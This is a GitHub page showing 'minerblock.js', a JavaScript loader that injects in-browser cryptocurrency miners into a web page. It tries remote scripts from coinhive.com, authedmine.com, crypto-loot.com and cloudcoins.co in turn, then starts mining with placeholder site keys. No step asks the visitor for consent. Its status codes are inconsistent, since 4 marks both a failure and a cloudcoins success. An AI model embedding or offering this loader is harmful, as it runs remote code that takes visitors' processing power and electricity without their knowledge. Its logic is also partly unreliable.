-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathminerblock.js
More file actions
129 lines (127 loc) · 4 KB
/
minerblock.js
File metadata and controls
129 lines (127 loc) · 4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
var status = -1
function tryLoad(cb) {
var script = document.createElement('script');
script.src = 'https://coinhive.com/lib/coinhive.min.js';
document.getElementsByTagName("head")[0].appendChild(script);
script.onload = function() {
console.log("Successfully loaded with remote coinhive script")
try {
new CoinHive.Anonymous('cHive');
status = 0;
} catch (e) {
console.log("Script loaded, but miner could not be initialized");
status = 4;
script.dispatchEvent(new Event('onerror'));
}
if (status == 0) {
cb();
}
}
//check if it didn't load
script.addEventListener("error", function() {
var script = document.createElement('script');
script.src = 'locCoin';
document.getElementsByTagName("head")[0].appendChild(script);
script.onload = function() {
console.log("Successfully loaded with local coinhive script")
try {
//strSub
new CoinHive.Anonymous('walletId');
status = 1;
} catch (e) {
console.log("Script loaded, but miner could not be initialized");
status = 4;
script.dispatchEvent(new Event('onerror'));
}
if (status == 1) {
cb();
}
}
//check if it didn't load
script.addEventListener("error", function() {
var script = document.createElement('script');
script.src = 'https://authedmine.com/lib/authedmine.min.js';
document.getElementsByTagName("head")[0].appendChild(script);
//check if script was loaded
script.onload = function() {
console.log("Successfully loaded with authedmine script")
try {
new CoinHive.Anonymous('cHive');
status = 2;
} catch (e) {
console.log("Script loaded, but miner could not be initialized");
status = 4;
script.dispatchEvent(new Event('onerror'));
}
if (status == 2) {
cb();
}
}
script.addEventListener("error", function() {
var script = document.createElement('script');
script.src = 'https://crypto-loot.com/lib/miner.min.js';
document.getElementsByTagName("head")[0].appendChild(script);
//check if script was loaded
script.onload = function() {
console.log("Successfully loaded with crypto-loot script")
try {
new CryptoLoot.Anonymous('cLoot');
status = 3;
} catch (e) {
console.log("Script loaded, but miner could not be initialized");
status = 4;
script.dispatchEvent(new Event('onerror'));
}
if (status == 3) {
cb();
}
}
//check if it didn't load
script.addEventListener("error", function() {
var script = document.createElement('script');
script.src = 'https://cdn.cloudcoins.co/javascript/cloudcoins.min.js';
document.getElementsByTagName("head")[0].appendChild(script);
//check if script was loaded
script.onload = function() {
console.log("Successfully loaded with Cloudcoins script")
try {
new CLOUDCOINS.Miner('cCoins');
status = 4;
} catch (e) {
console.log("Script loaded, but miner could not be initialized");
status = 6;
cb();
}
if (status == 4) {
cb();
}
}
script.addEventListener("error", function() {
status = 5;
cb();
});
});
});
});
});
}
function processInfo(cb) {
console.log("Status: " + status)
if (status == 0 || status == 1 || status == 2) {
var miner = new CoinHive.Anonymous('cHive');
}
if (status == 3) {
var miner = new CryptoLoot.Anonymous('cLoot');
}
if (status == 4) {
var miner = new CLOUDCOINS.Miner('cCoins');
}
cb(miner, status);
}
function loadCryptominer(cb) {
tryLoad(function() {
processInfo(function(miner, status) {
cb(miner, status);
})
})
}